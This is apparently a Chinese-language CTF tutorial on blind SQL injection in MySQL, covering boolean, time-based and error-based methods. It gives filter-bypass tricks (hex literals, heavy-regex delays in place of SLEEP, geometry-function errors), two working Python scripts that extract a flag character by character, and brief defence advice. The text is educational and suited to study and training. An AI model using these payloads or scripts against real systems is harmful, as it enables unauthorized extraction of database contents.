两种CTF中特殊盲注的总结
字数 1398 2025-08-15 21:33:42

CTF中特殊盲注技术深度解析

一、盲注基础概念

盲注(Blind SQL Injection)是SQL注入的一种特殊形式,当SQL语句执行后数据不会回显到前端页面时,需要通过特定方法进行判断或尝试的攻击技术。

基本分类

  1. 布尔盲注:页面只返回True/False两种状态
  2. 时间盲注:通过响应时间差异判断注入结果
  3. 基于运行错误的布尔盲注:利用语法正确但运行时出错的特性

二、关键SQL函数

常用盲注函数

  1. IF函数IF(expr1,expr2,expr3)

    • expr1为真返回expr2,否则返回expr3
    • 示例:SELECT IF(TRUE, 'A','B') → 'A'
  2. 字符串处理函数

    • ASCII(str):返回首字符ASCII码
    • ORD(str):同ASCII
    • CHAR(int):ASCII转字符
    • MID(str,pos,len)/SUBSTR(str,pos,len):截取子串
    • LEFT(str,len):取左侧len个字符
  3. 时间函数

    • SLEEP(duration):休眠指定秒数
  4. 正则函数

    • REGEXP:正则匹配
    • 示例:SELECT "FLAG" REGEXP "LA" → 1
  5. 其他实用函数

    • LENGTH(str):字符串长度
    • DATABASE():当前数据库名
    • VERSION():MySQL版本

三、布尔盲注技术

基本原理

根据输入条件,页面返回True/False两种不同响应。

典型应用

SELECT IF(LENGTH(DATABASE())>3, 1, 2) 
-- 通过返回结果判断数据库名长度

实战技巧

  1. 逐字符猜解:IF(MID(DATABASE(),1,1)='c',1,0)
  2. 使用REGEXP代替=和LIKE(当后者被过滤时)
  3. 十六进制绕过单引号过滤:0x666C6167代替'flag'

四、时间盲注技术

基本原理

通过执行时间差异判断条件真假。

典型应用

SELECT IF(MID(DATABASE(),1,1)='c', SLEEP(3), 2)
-- 若首字符为'c'则延迟3秒

高级技巧(当SLEEP被过滤)

  1. 使用巨大运算制造延迟:
IF(条件,rpad('a',5000000,'a') REGEXP复杂模式,0)
  1. 注意缓存问题:每次修改参数避免软解析

五、基于运行错误的布尔盲注

技术原理

利用语法正确但运行时出错的函数构造差异响应。

关键函数

  1. ST_GeomFromText():从文本构造几何对象
  2. ST_X(point):获取点的X坐标(仅对点对象有效)

应用示例

SELECT IF(1,1,ST_X(ST_GeomFromText('POINT(aaa)')))
-- 真:返回1;假:报错"Invalid GIS data"

变体函数

  • ST_MPointFromText():针对MULTIPOINT
  • GeomFromText()X()(5.7.6后弃用)

六、绕过过滤技巧

常见过滤及绕过方法

  1. 单引号过滤:使用十六进制(0x...)或CHAR()函数
  2. 关键字过滤
    • SLEEP → 使用巨大运算延迟
    • SUBSTR/MID → 使用LEFT/RIGHT
    • ASCII/ORD → 使用HEX/CHAR
  3. 比较符过滤:使用REGEXP代替=、LIKE

七、实战案例解析

案例1:基于运行错误的盲注

import requests

def fun(string):
    result = ",".join(str(ord(c)) for c in string)
    return f"char({result})"

url = "http://sqlblind.com/index.php"
flag = ""

for i in range(1, 50):
    for c in "abcdefghijklmnopqrstuvwxyz0123456789-_}{":
        payload = f"if(left((select flag from flag),{i}) regexp {fun(flag+c)},1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))"
        r = requests.post(url, data={'keywords': payload})
        if "Hello World" in r.text:
            flag += c
            print(flag)
            break

案例2:巨大运算时间盲注

import requests

def ord2hex(string):
    return '0x' + ''.join(hex(ord(c))[2:] for c in string)

url = "http://sqlblind.com/index.php"
result = ""

for i in range(1, 50):
    for c in "abcdefghijklmnopqrstuvwxyz0123456789-_}{":
        payload = f"1 and if((select flag from flag) regexp binary {ord2hex('^'+result+c)},rpad(0x61,{5000000-i},0x61) regexp concat(repeat(0x28612E2A292B,30),0x62),0)"
        try:
            r = requests.post(url, data={'keywords': payload}, timeout=3)
        except:
            result += c
            print(result.replace('\\',''))
            break

八、防御建议

  1. 使用参数化查询/prepared statements
  2. 严格过滤特殊字符和SQL关键字
  3. 设置数据库最小权限原则
  4. 错误信息统一处理,避免泄露细节
  5. 使用WAF防护常见注入模式

九、总结

特殊盲注技术的关键在于:

  1. 识别页面差异(布尔/时间/错误)
  2. 选择合适的函数构造payload
  3. 灵活应对各种过滤限制
  4. 自动化脚本提高效率

掌握这些技术需要深入理解SQL函数特性及服务器响应机制,通过大量实践培养敏锐的注入直觉。

CTF中特殊盲注技术深度解析 一、盲注基础概念 盲注(Blind SQL Injection)是SQL注入的一种特殊形式,当SQL语句执行后数据不会回显到前端页面时,需要通过特定方法进行判断或尝试的攻击技术。 基本分类 布尔盲注 :页面只返回True/False两种状态 时间盲注 :通过响应时间差异判断注入结果 基于运行错误的布尔盲注 :利用语法正确但运行时出错的特性 二、关键SQL函数 常用盲注函数 IF函数 : IF(expr1,expr2,expr3) expr1为真返回expr2,否则返回expr3 示例: SELECT IF(TRUE, 'A','B') → 'A' 字符串处理函数 : ASCII(str) :返回首字符ASCII码 ORD(str) :同ASCII CHAR(int) :ASCII转字符 MID(str,pos,len) / SUBSTR(str,pos,len) :截取子串 LEFT(str,len) :取左侧len个字符 时间函数 : SLEEP(duration) :休眠指定秒数 正则函数 : REGEXP :正则匹配 示例: SELECT "FLAG" REGEXP "LA" → 1 其他实用函数 : LENGTH(str) :字符串长度 DATABASE() :当前数据库名 VERSION() :MySQL版本 三、布尔盲注技术 基本原理 根据输入条件,页面返回True/False两种不同响应。 典型应用 实战技巧 逐字符猜解: IF(MID(DATABASE(),1,1)='c',1,0) 使用REGEXP代替=和LIKE(当后者被过滤时) 十六进制绕过单引号过滤: 0x666C6167 代替'flag' 四、时间盲注技术 基本原理 通过执行时间差异判断条件真假。 典型应用 高级技巧(当SLEEP被过滤) 使用巨大运算制造延迟: 注意缓存问题:每次修改参数避免软解析 五、基于运行错误的布尔盲注 技术原理 利用语法正确但运行时出错的函数构造差异响应。 关键函数 ST_GeomFromText() :从文本构造几何对象 ST_X(point) :获取点的X坐标(仅对点对象有效) 应用示例 变体函数 ST_MPointFromText() :针对MULTIPOINT GeomFromText() 和 X() (5.7.6后弃用) 六、绕过过滤技巧 常见过滤及绕过方法 单引号过滤 :使用十六进制(0x...)或CHAR()函数 关键字过滤 : SLEEP → 使用巨大运算延迟 SUBSTR/MID → 使用LEFT/RIGHT ASCII/ORD → 使用HEX/CHAR 比较符过滤 :使用REGEXP代替=、LIKE 七、实战案例解析 案例1:基于运行错误的盲注 案例2:巨大运算时间盲注 八、防御建议 使用参数化查询/prepared statements 严格过滤特殊字符和SQL关键字 设置数据库最小权限原则 错误信息统一处理,避免泄露细节 使用WAF防护常见注入模式 九、总结 特殊盲注技术的关键在于: 识别页面差异(布尔/时间/错误) 选择合适的函数构造payload 灵活应对各种过滤限制 自动化脚本提高效率 掌握这些技术需要深入理解SQL函数特性及服务器响应机制,通过大量实践培养敏锐的注入直觉。